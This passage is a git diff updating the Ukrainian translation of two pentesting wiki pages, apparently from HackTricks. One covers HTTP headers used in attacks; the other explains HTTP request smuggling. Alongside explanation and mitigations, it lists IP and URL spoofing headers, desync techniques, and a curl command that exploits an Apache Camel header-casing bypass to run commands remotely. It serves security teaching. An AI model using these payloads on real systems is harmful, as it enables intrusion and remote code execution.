diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md
index 1f0f7d85f..14f2edca0 100644
--- a/src/network-services-pentesting/pentesting-web/special-http-headers.md
+++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md
@@ -2,14 +2,14 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Списки слів та інструменти
+## Словники та інструменти
 
 - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
 - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
 
-## Заголовки для зміни місця розташування
+## Заголовки для підміни локації
 
-Перезаписати **IP джерела**:
+Підміна джерела IP:
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -26,80 +26,101 @@
 - `True-Client-IP: 127.0.0.1`
 - `Cluster-Client-IP: 127.0.0.1`
 - `Via: 1.0 fred, 1.1 127.0.0.1`
-- `Connection: close, X-Forwarded-For` (Перевірте заголовки hop-by-hop)
+- `Connection: close, X-Forwarded-For` (Перевіряйте hop-by-hop заголовки)
 
-Перезаписати **місцезнаходження**:
+Підміна локації:
 
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-## Заголовки hop-by-hop
+## Заголовки Hop-by-Hop
 
-Заголовок hop-by-hop - це заголовок, який призначений для обробки та споживання проксі, що наразі обробляє запит, на відміну від заголовка end-to-end.
+Заголовок hop-by-hop — це заголовок, який призначений для обробки та використання проксі, що наразі обробляє запит, на відміну від end-to-end заголовка.
 
 - `Connection: close, X-Forwarded-For`
 
+
 {{#ref}}
 ../../pentesting-web/abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## HTTP Запит на контрабанду
+## HTTP Request Smuggling
 
 - `Content-Length: 30`
 - `Transfer-Encoding: chunked`
 
+
 {{#ref}}
 ../../pentesting-web/http-request-smuggling/
 {{#endref}}
 
+## Заголовок Expect
+
+Клієнт може відправити заголовок `Expect: 100-continue`, після чого сервер може відповісти `HTTP/1.1 100 Continue`, щоб дозволити клієнту продовжити відправлення тіла запиту. Однак деякі проксі не дуже добре працюють з цим заголовком.
+
+Цікаві результати використання `Expect: 100-continue`:
+- Відправка HEAD-запиту з тілом — сервер не врахував, що HEAD не має тіла, і тримає з'єднання відкритим до тайм-ауту.
+- Деякі сервери повертали дивні дані: випадкові байти, прочитані з сокету в відповіді, секретні ключі або навіть дозволяли запобігти видаленню значень заголовків фронтендом.
+- Також це спричиняло 0.CL десинхронізацію, коли бекенд відповів 400 замість 100, але фронт-проксі був готовий відправити тіло початкового запиту, тож відправляє його, а бекенд сприймає це як новий запит.
+- Відправка варіації `Expect: y 100-continue` також викликала 0.CL десинхронізацію.
+- Схожа помилка, коли бекенд відповідав 404, породжувала CL.0 десинхронізацію: шкідливий запит вказує `Content-Length`, тому бекенд відправляє шкідливий запит плюс `Content-Length` байтів наступного запиту (жертви). Це десинхронізує чергу, бо бекенд надсилає 404 відповідь для шкідливого запиту плюс відповідь жертви, тоді як фронтенд думав, що надіслано лише 1 запит, тому друга відповідь відправляється другому потерпілому запиту, а відповідь того — наступному, і так далі...
+
+Для більше інформації про HTTP Request Smuggling дивіться:
+
+{{#ref}}
+../../pentesting-web/http-request-smuggling/
+{{#endref}}
+
+
 ## Заголовки кешу
 
-**Заголовки кешу сервера**:
+**Server Cache Headers**:
+
+- **`X-Cache`** в відповіді може мати значення **`miss`**, коли запит не кешований, і **`hit`**, коли він кешований.
+- Подібна поведінка у заголовку **`Cf-Cache-Status`**.
+- **`Cache-Control`** вказує, чи кешується ресурс і коли ресурс знову стане застарілим: `Cache-Control: public, max-age=1800`
+- **`Vary`** часто використовується у відповіді, щоб **вказати додаткові заголовки**, які враховуються як **частина ключа кешу**, навіть якщо зазвичай вони не є ключовими.
+- **`Age`** визначає час у секундах, протягом якого об'єкт знаходиться в кеші проксі.
+- **`Server-Timing: cdn-cache; desc=HIT`** також вказує, що ресурс був кешований.
 
-- **`X-Cache`** у відповіді може мати значення **`miss`**, коли запит не кешувався, і значення **`hit`**, коли він кешується
-- Схоже поводження у заголовку **`Cf-Cache-Status`**
-- **`Cache-Control`** вказує, чи ресурс кешується і коли буде наступний раз кешуватися: `Cache-Control: public, max-age=1800`
-- **`Vary`** часто використовується у відповіді для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими.
-- **`Age`** визначає час у секундах, протягом якого об'єкт перебував у кеші проксі.
-- **`Server-Timing: cdn-cache; desc=HIT`** також вказує, що ресурс був кешований
 
 {{#ref}}
 ../../pentesting-web/cache-deception/
 {{#endref}}
 
-**Заголовки локального кешу**:
+**Локальні заголовки кешу**:
 
-- `Clear-Site-Data`: Заголовок для вказівки кешу, який слід видалити: `Clear-Site-Data: "cache", "cookies"`
-- `Expires`: Містить дату/час, коли відповідь повинна закінчитися: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
-- `Pragma: no-cache` те ж саме, що `Cache-Control: no-cache`
-- `Warning`: Загальний HTTP заголовок **`Warning`** містить інформацію про можливі проблеми зі статусом повідомлення. У відповіді може з'явитися більше одного заголовка `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"`
+- `Clear-Site-Data`: Заголовок для вказання кешів, які слід видалити: `Clear-Site-Data: "cache", "cookies"`
+- `Expires`: Містить дату/час, коли відповідь має втратити актуальність: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
+- `Pragma: no-cache` те ж саме що й `Cache-Control: no-cache`
+- `Warning`: Загальний HTTP-заголовок **`Warning`** містить інформацію про можливі проблеми зі статусом повідомлення. У відповіді може з'явитися кілька `Warning` заголовків. Приклад: `Warning: 110 anderson/1.3.37 "Response is stale"`
 
-## Умови
+## Умовні запити
 
-- Запити, що використовують ці заголовки: **`If-Modified-Since`** та **`If-Unmodified-Since`** отримають відповідь з даними лише якщо заголовок відповіді **`Last-Modified`** містить інший час.
-- Умовні запити, що використовують **`If-Match`** та **`If-None-Match`**, використовують значення Etag, тому веб-сервер надішле вміст відповіді, якщо дані (Etag) змінилися. `Etag` береться з HTTP-відповіді.
-- Значення **Etag** зазвичай **обчислюється** на основі **вмісту** відповіді. Наприклад, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` вказує, що `Etag` є **Sha1** з **37 байтів**.
+- Запити з заголовками **`If-Modified-Since`** та **`If-Unmodified-Since`** отримають відповідь з даними тільки якщо заголовок відповіді **`Last-Modified`** містить інший час.
+- Умовні запити з використанням **`If-Match`** та **`If-None-Match`** використовують значення Etag, тому веб-сервер надішле вміст відповіді, якщо дані (Etag) змінилися. `Etag` береться з HTTP-відповіді.
+- Значення **Etag** зазвичай **обчислюється** на основі **вмісту** відповіді. Наприклад, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` вказує, що `Etag` — це **Sha1** для **37 байтів**.
 
-## Запити діапазону
+## Range-запити
 
-- **`Accept-Ranges`**: Вказує, чи підтримує сервер запити діапазону, і якщо так, в якій одиниці може бути виражений діапазон. `Accept-Ranges: <range-unit>`
-- **`Range`**: Вказує частину документа, яку сервер повинен повернути. Наприклад, `Range:80-100` поверне байти з 80 по 100 оригінальної відповіді зі статус-кодом 206 Partial Content. Також пам'ятайте про видалення заголовка `Accept-Encoding` з запиту.
-- Це може бути корисно для отримання відповіді з довільним відображеним кодом JavaScript, який інакше міг би бути втечений. Але для зловживання цим вам потрібно буде вставити ці заголовки в запит.
-- **`If-Range`**: Створює умовний запит діапазону, який виконується лише якщо вказаний etag або дата збігаються з віддаленим ресурсом. Використовується для запобігання завантаженню двох діапазонів з несумісних версій ресурсу.
-- **`Content-Range`**: Вказує, де в повному тілі повідомлення належить часткове повідомлення.
+- **`Accept-Ranges`**: Вказує, чи підтримує сервер range-запити, і в яких одиницях можна задати діапазон. `Accept-Ranges: <range-unit>`
+- **`Range`**: Вказує частину документа, яку сервер повинен повернути. Наприклад, `Range:80-100` поверне байти з 80 по 100 оригінальної відповіді зі статусом 206 Partial Content. Також не забувайте видаляти заголовок `Accept-Encoding` з запиту.
+- Це може бути корисно, щоб отримати відповідь з довільним відбитим javascript-кодом, який інакше був би екранований. Але для зловживання цим потрібно вміти інжектити ці заголовки в запит.
+- **`If-Range`**: Створює умовний range-запит, який виконується тільки якщо вказаний etag або дата відповідає віддаленому ресурсу. Використовується, щоб запобігти завантаженню двох діапазонів з несумісних версій ресурсу.
+- **`Content-Range`**: Вказує, куди в повному тілі повідомлення належить часткове повідомлення.
 
 ## Інформація про тіло повідомлення
 
-- **`Content-Length`:** Розмір ресурсу, у десятковому числі байтів.
-- **`Content-Type`**: Вказує медіа-тип ресурсу
-- **`Content-Encoding`**: Використовується для вказівки алгоритму стиснення.
-- **`Content-Language`**: Описує людську мову(и), призначену для аудиторії, щоб дозволити користувачу відрізняти відповідно до власної переваги мови.
-- **`Content-Location`**: Вказує альтернативне місцезнаходження для повернених даних.
+- **`Content-Length`:** Розмір ресурсу у десятковому числі байтів.
+- **`Content-Type`**: Вказує медіа-тип ресурсу.
+- **`Content-Encoding`**: Використовується для вказання алгоритму стиснення.
+- **`Content-Language`**: Описує людські мови, для яких призначено вміст, щоб дозволити користувачу відрізняти згідно з власними мовними уподобаннями.
+- **`Content-Location`**: Вказує альтернативне розташування для повернутих даних.
 
-З точки зору пентесту ця інформація зазвичай "марна", але якщо ресурс **захищений** 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інформацію**, це може бути **цікаво.**\
-Наприклад, комбінація **`Range`** та **`Etag`** у запиті HEAD може витікати вміст сторінки через запити HEAD:
+З точки зору pentest ця інформація зазвичай "марна", але якщо ресурс **захищений** кодом 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інфо**, це може бути **цікаво.**\
+Наприклад, поєднання **`Range`** та **`Etag`** у HEAD-запиті може leak вміст сторінки через HEAD-запити:
 
-- Запит з заголовком `Range: bytes=20-20` і з відповіддю, що містить `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` витікає, що SHA1 байта 20 є `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
+- Запит з заголовком `Range: bytes=20-20` та у відповіді `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` leak-ить, що SHA1 байта 20 — `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
 
 ## Інформація про сервер
 
@@ -108,28 +129,29 @@
 
 ## Контролі
 
-- **`Allow`**: Цей заголовок використовується для спілкування HTTP-методів, які ресурс може обробляти. Наприклад, його можна вказати як `Allow: GET, POST, HEAD`, що вказує, що ресурс підтримує ці методи.
-- **`Expect`**: Використовується клієнтом для передачі очікувань, які сервер повинен виконати для успішної обробки запиту. Загальним випадком використання є заголовок `Expect: 100-continue`, який сигналізує, що клієнт має намір надіслати великий обсяг даних. Клієнт чекає на відповідь `100 (Continue)` перед продовженням передачі. Цей механізм допомагає оптимізувати використання мережі, очікуючи підтвердження від сервера.
+- **`Allow`**: Цей заголовок використовується для повідомлення HTTP-методів, які ресурс може обробляти. Наприклад: `Allow: GET, POST, HEAD`, що вказує, що ресурс підтримує ці методи.
+- **`Expect`**: Використовується клієнтом для повідомлення очікувань, які сервер має виконати для успішної обробки запиту. Частий приклад — заголовок `Expect: 100-continue`, який сигналізує про намір клієнта відправити великий об'єм даних. Клієнт очікує відповідь `100 (Continue)` перед тим, як продовжити передачу. Цей механізм допомагає оптимізувати мережевий трафік, очікуючи підтвердження від сервера.
 
 ## Завантаження
 
-- Заголовок **`Content-Disposition`** у HTTP-відповідях вказує, чи файл повинен відображатися **вбудовано** (в межах веб-сторінки) або розглядатися як **додаток** (завантажений). Наприклад:
+- Заголовок **`Content-Disposition`** у HTTP-відповідях визначає, чи файл має відображатися **вбудовано** (в межах сторінки) або поводитися **як вкладення** (завантажуватись). Наприклад:
 ```
 Content-Disposition: attachment; filename="filename.jpg"
 ```
-Це означає, що файл з назвою "filename.jpg" призначений для завантаження та збереження.
+Це означає, що файл із назвою "filename.jpg" призначений для завантаження та збереження.
 
 ## Заголовки безпеки
 
-### Політика безпеки контенту (CSP) <a href="#csp" id="csp"></a>
+### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
+
 
 {{#ref}}
 ../../pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}
 
-### **Довірені типи**
+### **Trusted Types**
 
-Забезпечуючи Довірені типи через CSP, програми можуть бути захищені від атак DOM XSS. Довірені типи гарантують, що лише спеціально створені об'єкти, які відповідають встановленим політикам безпеки, можуть використовуватися в небезпечних викликах веб-API, тим самим забезпечуючи безпеку JavaScript-коду за замовчуванням.
+Застосовуючи Trusted Types через CSP, додатки можна захистити від атак DOM XSS. Trusted Types гарантують, що для небезпечних викликів web API можуть використовуватися лише спеціально сформовані об'єкти, які відповідають встановленим політикам безпеки, тим самим за замовчуванням захищаючи JavaScript-код.
 ```javascript
 // Feature detection
 if (window.trustedTypes && trustedTypes.createPolicy) {
@@ -148,74 +170,75 @@ el.innerHTML = escaped // Results in safe assignment.
 ```
 ### **X-Content-Type-Options**
 
-Цей заголовок запобігає визначенню типу MIME, що може призвести до вразливостей XSS. Він забезпечує, щоб браузери поважали типи MIME, вказані сервером.
+Цей заголовок запобігає MIME type sniffing — практиці, яка може призвести до XSS-вразливостей. Він гарантує, що браузери дотримуються MIME-типів, вказаних сервером.
 ```
 X-Content-Type-Options: nosniff
 ```
 ### **X-Frame-Options**
 
-Щоб боротися з clickjacking, цей заголовок обмежує, як документи можуть бути вбудовані в `<frame>`, `<iframe>`, `<embed>`, або `<object>` теги, рекомендує всім документам явно вказувати свої дозволи на вбудовування.
+Щоб протидіяти clickjacking, цей заголовок обмежує, як документи можуть бути вбудовані в `<frame>`, `<iframe>`, `<embed>` або `<object>` теги, і рекомендує всім документам явно вказувати свої права на вбудовування.
 ```
 X-Frame-Options: DENY
 ```
-### **Політика ресурсів між походженнями (CORP) та обмін ресурсами між походженнями (CORS)**
+### **Політика ресурсів між походженнями (CORP) та Спільний доступ до ресурсів між походженнями (CORS)**
 
-CORP є важливим для визначення, які ресурси можуть бути завантажені веб-сайтами, зменшуючи витоки між сайтами. CORS, з іншого боку, дозволяє більш гнучкий механізм обміну ресурсами між походженнями, послаблюючи політику однакового походження за певних умов.
+CORP має вирішальне значення для визначення того, які ресурси можуть завантажуватися вебсайтами, зменшуючи cross-site leaks. CORS, з іншого боку, дозволяє більш гнучкий механізм спільного доступу до ресурсів між походженнями, послаблюючи політику одного походження за певних умов.
 ```
 Cross-Origin-Resource-Policy: same-origin
 Access-Control-Allow-Origin: https://example.com
 Access-Control-Allow-Credentials: true
 ```
-### **Політика вбудовування з різних джерел (COEP) та політика відкриття з різних джерел (COOP)**
+### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
 
-COEP та COOP є важливими для забезпечення ізоляції з різних джерел, значно зменшуючи ризик атак, подібних до Spectre. Вони контролюють завантаження ресурсів з різних джерел та взаємодію з вікнами з різних джерел відповідно.
+COEP та COOP необхідні для активації міждоменної ізоляції, що суттєво знижує ризик атак типу Spectre. Вони відповідно контролюють завантаження міждоменних ресурсів та взаємодію з міждоменними вікнами.
 ```
 Cross-Origin-Embedder-Policy: require-corp
 Cross-Origin-Opener-Policy: same-origin-allow-popups
 ```
 ### **HTTP Strict Transport Security (HSTS)**
 
-Нарешті, HSTS - це функція безпеки, яка змушує браузери спілкуватися з серверами лише через захищені HTTPS-з'єднання, тим самим підвищуючи конфіденційність і безпеку.
+Нарешті, HSTS — це функція безпеки, яка змушує браузери спілкуватися з серверами лише через захищені HTTPS-з'єднання, тим самим підвищуючи конфіденційність і безпеку.
 ```
 Strict-Transport-Security: max-age=3153600
 ```
-## Header Name Casing Bypass
+## Обхід перевірки регістру імен заголовків
 
-HTTP/1.1 визначає імена полів заголовків як **незалежні від регістру** (RFC 9110 §5.1). Проте, дуже часто можна зустріти кастомні проміжні програми, фільтри безпеки або бізнес-логіку, які порівнюють *літерне* ім'я заголовка, отримане без попередньої нормалізації регістру (наприклад, `header.equals("CamelExecCommandExecutable")`). Якщо ці перевірки виконуються **чутливо до регістру**, зловмисник може обійти їх, просто надіславши той же заголовок з іншим написанням.
+HTTP/1.1 визначає імена полів заголовків як **без врахування регістру** (RFC 9110 §5.1). Тим не менш, дуже часто зустрічаються користувацькі middleware, security filters або бізнес-логіка, що порівнюють *буквальне* ім'я заголовка, не нормалізуючи регістр спочатку (наприклад, `header.equals("CamelExecCommandExecutable")`). Якщо такі перевірки виконуються **з урахуванням регістру**, атакуючий може їх обійти, просто відправивши той самий заголовок з іншим використанням великих/малих літер.
 
-Типові ситуації, в яких виникає ця помилка:
+Типові ситуації, де ця помилка зустрічається:
 
-* Кастомні списки дозволів/заборон, які намагаються блокувати “небезпечні” внутрішні заголовки до того, як запит досягне чутливого компонента.
-* Внутрішні реалізації псевдозаголовків зворотного проксі (наприклад, санітизація `X-Forwarded-For`).
-* Фреймворки, які відкривають кінцеві точки управління / налагодження і покладаються на імена заголовків для аутентифікації або вибору команд.
+* Користувацькі allow/deny списки, які намагаються блокувати “dangerous” internal headers перед тим, як запит досягне чутливого компонента.
+* Внутрішні реалізації reverse-proxy псевдозаголовків (наприклад, `X-Forwarded-For` sanitisation).
+* Фреймворки, що відкривають management / debug endpoints і покладаються на імена заголовків для аутентифікації або вибору команд.
 
-### Abusing the bypass
+### Зловживання обходом
 
-1. Визначте заголовок, який фільтрується або перевіряється на стороні сервера (наприклад, читаючи вихідний код, документацію або повідомлення про помилки).
-2. Надішліть **той же заголовок з іншим регістром** (змішаний регістр або верхній регістр). Оскільки стекі HTTP зазвичай канонізують заголовки лише *після* виконання коду користувача, вразливу перевірку можна пропустити.
-3. Якщо нижній компонент обробляє заголовки незалежно від регістру (більшість так роблять), він прийме значення, контрольоване зловмисником.
+1. Визначте заголовок, який фільтрується або валідирується на стороні сервера (наприклад, шляхом читання вихідного коду, документації або повідомлень про помилки).
+2. Відправте **той самий заголовок з іншим регістром** (mixed-case або upper-case). Оскільки HTTP-стеки зазвичай канонізують заголовки лише *після* виконання користувацького коду, вразлива перевірка може бути пропущена.
+3. Якщо компонент нижчого рівня обробляє заголовки без врахування регістру (більшість так робить), він прийме значення, контрольоване атакуючим.
 
-### Example: Apache Camel `exec` RCE (CVE-2025-27636)
+### Приклад: Apache Camel `exec` RCE (CVE-2025-27636)
 
-У вразливих версіях Apache Camel маршрути *Command Center* намагаються блокувати ненадійні запити, видаляючи заголовки `CamelExecCommandExecutable` та `CamelExecCommandArgs`. Порівняння виконувалося за допомогою `equals()`, тому були видалені лише точні імена в нижньому регістрі.
+У вразливих версіях Apache Camel маршрути *Command Center* намагалися блокувати недовірені запити, видаляючи заголовки `CamelExecCommandExecutable` та `CamelExecCommandArgs`. Порівняння виконувалося за допомогою `equals()`, тому видалялися лише заголовки з точно відповідним регістром.
 ```bash
 # Bypass the filter by using mixed-case header names and execute `ls /` on the host
 curl "http://<IP>/command-center" \
 -H "CAmelExecCommandExecutable: ls" \
 -H "CAmelExecCommandArgs: /"
 ```
-Заголовки досягають компонента `exec` без фільтрації, що призводить до віддаленого виконання команд з привілеями процесу Camel.
+Headers потрапляють у компонент `exec` без фільтрації, внаслідок чого відбувається remote command execution з привілеями процесу Camel.
 
 ### Виявлення та пом'якшення
 
-* Нормалізуйте всі назви заголовків до єдиного регістру (зазвичай малими літерами) **перед** виконанням порівнянь дозволу/заборони.
-* Відхиляйте підозрілі дублі: якщо присутні обидва `Header:` і `HeAdEr:`, розглядайте це як аномалію.
-* Використовуйте позитивний список дозволів, що застосовується **після** канонізації.
-* Захищайте управлінські кінцеві точки за допомогою аутентифікації та сегментації мережі.
+* Нормалізуйте всі header names до одного регістру (зазвичай lowercase) **перед** виконанням allow/deny comparisons.
+* Відхиляйте підозрілі дублікати: якщо одночасно присутні `Header:` і `HeAdEr:`, розцінюйте це як аномалію.
+* Використовуйте позитивний allow-list, застосований **після** canonicalisation.
+* Захищайте management endpoints за допомогою authentication та network segmentation.
 
-## Посилання
 
-- [CVE-2025-27636 – RCE в Apache Camel через обхід регістру заголовків (блог OffSec)](https://www.offsec.com/blog/cve-2025-27636/)
+## Джерела
+
+- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
 - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
 - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
 - [https://web.dev/security-headers/](https://web.dev/security-headers/)
diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md
index d20ad59f6..ee761a1fe 100644
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@@ -3,52 +3,69 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 
-## Що це
+## Що це таке
 
-Ця вразливість виникає, коли між **front-end proxies** і **back-end** сервером відбувається **desyncronization**, що дозволяє **attacker** надіслати HTTP **request**, який буде **interpreted** як **single request** фронт-енд проксі (load balance/reverse-proxy) і **as 2 request** для **back-end** сервера.\
-Це дозволяє користувачу **modify the next request that arrives to the back-end server after his**.
+Ця вразливість виникає, коли відбувається **десинхронізація** між **front-end proxy** та **back-end** сервером, що дозволяє **атаці** відправити HTTP **запит**, який **буде інтерпретований** як **один запит** front-end proxy (load balancer/reverse-proxy) і **як 2 запити** back-end сервером.\
+Це дозволяє користувачу **змінити наступний запит**, який надходить до back-end сервера після його запиту.
 
 ### Теорія
 
 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
 
-> Якщо повідомлення отримано з обома полями заголовка Transfer-Encoding та Content-Length, останнє MUST бути ігнороване.
+> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
 
 **Content-Length**
 
-> Заголовок entity Content-Length вказує розмір entity-body в байтах, що відправляється отримувачу.
+> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
 
 **Transfer-Encoding: chunked**
 
-> Заголовок Transfer-Encoding вказує форму кодування, яка використовується для безпечної передачі payload body користувачу.\
-> Chunked означає, що великі дані надсилаються серією чанків.
+> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
+> Chunked means that large data is sent in a series of chunks
 
 ### Реальність
 
-**Front-End** (load-balance / Reverse Proxy) **process** один з заголовків — _**content-length**_ або _**transfer-encoding**_, а **Back-end** сервер **process** інший, спричиняючи **desyncronization** між двома системами.\
-Це може бути дуже критично, оскільки **attacker** зможе надіслати один запит до reverse proxy, який **back-end** сервер **interprets** як **2 різні запити**. Суть техніки в тому, що **back-end** сервер **буде трактувати** **2-й інжектований запит** так, ніби він **надійшов від наступного клієнта**, а реальний запит цього клієнта стане **частиною інжектованого запиту**.
+Фронт-енд (a load-balance / Reverse Proxy) **обробляє** або _**Content-Length**_, або _**Transfer-Encoding**_ заголовок, а бекенд-сервер **обробляє інший**, спричиняючи **десинхронізацію** між двома системами.\
+Це може бути дуже критично, оскільки **атакуючий зможе відправити один запит** до reverse proxy, який **бекенд** буде **інтерпретувати** як **2 різні запити**. Небезпека цієї техніки полягає в тому, що **бекенд** буде інтерпретувати **вставлений другий запит** так, ніби він **надійшов від наступного клієнта**, а реальний запит цього клієнта стане **частиною** вставленого запиту.
 
 ### Особливості
 
-Пам'ятайте, що в HTTP **символ нового рядка складається з 2 байтів:**
+Пам'ятайте, що в HTTP **символ нового рядка складається з 2 байт:**
+
+- **Content-Length**: цей заголовок використовує **десяткове число**, щоб вказати **кількість байтів** в **тілі** запиту. Тіло очікується завершеним у останньому символі, **новий рядок в кінці запиту не потрібен**.
+- **Transfer-Encoding:** цей заголовок використовує в **тілі** **шістнадцяткове число**, щоб вказати **кількість байтів** наступного **chunk'у**. **Chunk** має **закінчуватися** новим рядком, але цей новий рядок **не враховується** індикатором довжини. Цей метод передачі має завершуватися **chunk'ом розміру 0, за яким слідують 2 new line**: `0`
+- **Connection**: на підставі мого досвіду рекомендовано використовувати **`Connection: keep-alive`** у першому запиті при спробі request smuggling.
+
+### Видиме - Приховане
+
+Головна проблема з HTTP/1.1 у тому, що всі запити йдуть через один TCP сокет, тож якщо між двома системами, що отримують запити, є невідповідність, можна відправити один запит, який буде трактований як два різні запити (або більше) кінцевим бекендом (або навіть проміжними системами).
+
+**[This blog post](https://portswigger.net/research/http1-must-die)** пропонує нові способи виявлення desync-атак на систему, які не будуть помічені WAFs. Для цього вона представляє поведінки Visible vs Hidden. Мета в цьому випадку — спробувати знайти розбіжності в відповіді, використовуючи техніки, які можуть спричиняти десинхронизації, не експлуатуючи нічого фактично.
+
+Наприклад, відправка запиту з нормальним Host заголовком і одночасно `" host"` заголовком: якщо бекенд скаржиться на цей запит (можливо, тому що значення `" host"` некоректне), це може означати, що фронт-енд не врахував `" host"` заголовок, тоді як кінцевий бекенд його використав — ймовірно вказуючи на десинхронізацію між фронт-ендом і бекендом.
+
+Це було б **Приховане-Видиме розходження**.
+
+Якщо фронт-енд врахував би `" host"` заголовок, а бекенд ні, це могло б бути **Видиме-Приховане**.
+
+Наприклад, це дозволило виявити десинхронізації між AWS ALB як фронтом і IIS як бекендом. Коли був надісланий "Host: foo/bar", ALB повертав `400, Server; awselb/2.0`, але коли був надісланий "Host : foo/bar", він повертав `400, Server: Microsoft-HTTPAPI/2.0`, що вказувало на те, що відповідь надходить від бекенду. Це приклад Hidden-Visible (H-V).
+
+Зверніть увагу, що ця ситуація не була виправлена в AWS, але її можна запобігти, встановивши `routing.http.drop_invalid_header_fields.enabled` і `routing.http.desync_mitigation_mode = strictest`.
 
-- **Content-Length**: цей заголовок використовує **десяткове число**, щоб вказати **кількість байтів** тіла запиту. Тіло очікується закінченим останнім символом, **новий рядок у кінці запиту не потрібен**.
-- **Transfer-Encoding:** цей заголовок використовує в **тілі** **шістнадцяткове число**, щоб вказати **кількість байтів** наступного чанку. **Чанк** повинен **закінчуватися** новим рядком, але цей новий рядок **не враховується** індикатором довжини. Цей метод передачі має завершуватися **чанком розміру 0, після якого йдуть 2 нові лінії**: `0`
-- **Connection**: на основі мого досвіду рекомендовано використовувати **`Connection: keep-alive`** в першому запиті при спробі Request Smuggling.
 
 ## Базові приклади
 
 > [!TIP]
-> Під час експлуатації через Burp Suite **відключіть `Update Content-Length` та `Normalize HTTP/1 line endings`** в Repeater, оскільки деякі гаджети використовують newlines, carriage returns та malformed content-lengths.
+> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
 
-HTTP request smuggling атаки формуються шляхом відправлення неоднозначних запитів, що експлуатують розбіжності в тому, як front-end і back-end сервери інтерпретують заголовки `Content-Length` (CL) та `Transfer-Encoding` (TE). Ці атаки можуть проявлятися в різних формах, переважно як **CL.TE**, **TE.CL** та **TE.TE**. Кожен тип представляє унікальну комбінацію пріоритету обробки цих заголовків фронт-ендом та бекендом. Уразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.
+HTTP request smuggling атаки формуються шляхом відправлення неоднозначних запитів, що експлуатують розбіжності в інтерпретації `Content-Length` (CL) і `Transfer-Encoding` (TE) між front-end і back-end серверами. Ці атаки можуть проявлятися в різних формах, переважно як **CL.TE**, **TE.CL**, і **TE.TE**. Кожен тип відображає унікальне поєднання того, як фронт-енд і бекенд віддають пріоритет цим заголовкам. Вразливості виникають, коли сервери обробляють один і той же запит по-різному, що призводить до непередбачуваних і потенційно шкідливих наслідків.
 
 ### Базові приклади типів вразливостей
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!TIP]
-> До попередньої таблиці варто додати техніку TE.0, аналогічну CL.0, але з використанням Transfer-Encoding.
+> До попередньої таблиці слід додати техніку TE.0, аналогічну CL.0, але з використанням Transfer-Encoding.
 
 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
 
@@ -56,8 +73,8 @@ HTTP request smuggling атаки формуються шляхом відпра
 - **Back-End (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
 - **Сценарій атаки:**
 
-- Attacker надсилає запит, де значення заголовка `Content-Length` не відповідає фактичній довжині контенту.
-- Front-end сервер пересилає весь запит на back-end, виходячи зі значення `Content-Length`.
+- Атакуючий відправляє запит, де значення заголовка `Content-Length` не відповідає фактичній довжині вмісту.
+- Front-end сервер пересилає увесь запит на бекенд, спираючись на значення `Content-Length`.
 - Back-end сервер обробляє запит як chunked через заголовок `Transfer-Encoding: chunked`, інтерпретуючи залишкові дані як окремий, наступний запит.
 - **Приклад:**
 
@@ -80,9 +97,9 @@ Foo: x
 - **Back-End (CL):** Обробляє запит на основі заголовка `Content-Length`.
 - **Сценарій атаки:**
 
-- Attacker надсилає chunked-запит, де розмір чанку (`7b`) і фактична довжина контенту (`Content-Length: 4`) не співпадають.
-- Front-end сервер, дотримуючись `Transfer-Encoding`, пересилає весь запит на back-end.
-- Back-end сервер, дотримуючись `Content-Length`, обробляє тільки початкову частину запиту (`7b` байтів), залишаючи решту як невиправданий наступний запит.
